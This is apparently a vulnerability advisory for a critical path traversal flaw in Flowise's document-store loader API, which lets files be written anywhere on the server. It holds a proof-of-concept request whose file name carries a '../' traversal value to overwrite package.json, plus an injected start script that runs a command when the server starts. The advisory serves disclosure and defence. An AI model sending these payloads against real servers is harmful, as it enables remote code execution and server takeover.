PT-2025-11310 · Npm · Flowise
Published
2025-03-14
·
Updated
2025-03-14
CVSS v3.1
10
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Summary
An attacker could write files with arbitrary content to the filesystem via the
/api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.Details
All file writing functions in packages/components/src/storageUtils.ts are vulnerable.
- addBase64FilesToStorage
- addArrayFilesToStorage
- addSingleFileToStorage
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
javascript
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)Therefore, users can move to the parent folder via
../ and write files to any path.Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
PoC
In PoC,
package.json is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.- original start command
"start": "run-script-os",- modify start command
"start": "touch /tmp/pyozzi-poc && run-script-os",When a user runs the
pnpm start command, a pyozzi-poc file is created in the /tmp path.1. package.json content base64 encoding
json
{
"name": "flowise",
"version": "1.8.2",
"private": true,
"homepage": "https://flowiseai.com",
"workspaces": [
"packages/*",
"flowise",
"ui",
"components"
],
"scripts": {
"build": "turbo run build && echo poc",
"build-force": "pnpm clean && turbo run build --force",
"dev": "turbo run dev --parallel",
"start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
"start:windows": "cd packages/server/bin && run start",
"start:default": "cd packages/server/bin && ./run start",
"clean": "pnpm --filter "./packages/**" clean",
"nuke": "pnpm --filter "./packages/**" nuke && rimraf node modules .turbo",
"format": "prettier --write "**/*.{ts,tsx,md}"",
"lint": "eslint "**/*.{js,jsx,ts,tsx,json,md}"",
"lint-fix": "pnpm lint --fix",
"quick": "pretty-quick --staged",
"postinstall": "husky install",
"migration:create": "pnpm typeorm migration:create"
}, ... skip2. Overwrite package.json via /api/v1/document-store/loader/process
Request Body
json
{
"loaderId": "textFile",
"storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
"loaderName": "Text File",
"loaderConfig": {
"txtFile": "data:text/plain;BASE64 ENCODEING CONTENT,filename:/../../../../../usr/src/package.json",
"textSplitter": "",
"metadata": "",
"omitMetadataKeys": ""
}
}The part after
filename: of the txtFile parameter is the value used as fileName in the function.
Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.Afterwards, when the user starts the server (
pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)- starting server with 
touch /tmp/pyozzi-poc command
- 
/tmp/pyozzi-poc file created
Impact
Remote Code Execution (RCE)
Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.
Fix
Code Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Flowise